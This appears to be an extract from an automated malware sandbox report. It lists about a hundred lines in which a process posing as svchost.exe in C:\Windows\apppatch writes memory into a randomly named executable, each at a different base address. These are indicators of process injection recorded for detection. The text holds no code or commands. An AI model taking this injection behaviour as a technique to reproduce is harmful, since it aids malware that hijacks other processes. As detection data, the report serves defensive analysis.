    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A51000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A52000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2AA5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A50000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A51000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A52000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2AA5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 970000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 971000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 972000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2130000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2131000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2132000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2185000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 790000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 791000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 792000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 7E5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2130000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2131000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2132000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2185000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CA0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CA1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CA2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CF5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2570000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2571000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2572000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E40000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E41000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E42000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E95000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FB0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FB1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FB2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2005000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2625000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E70000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E71000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E72000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EC5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CE0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CE1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CE2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C00000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C01000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C02000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C55000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E60000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E61000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E62000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2905000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A15000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21F0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21F1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21F2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2245000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1420000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1421000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1422000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1475000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2790000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2791000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2792000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 27E5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EE0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EE1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EE2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F35000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2725000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C60000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C61000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C62000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D10000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D11000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D12000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D65000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D70000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D71000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D72000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2DC5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2470000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2471000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2472000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24C5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D1000Jump to behavior
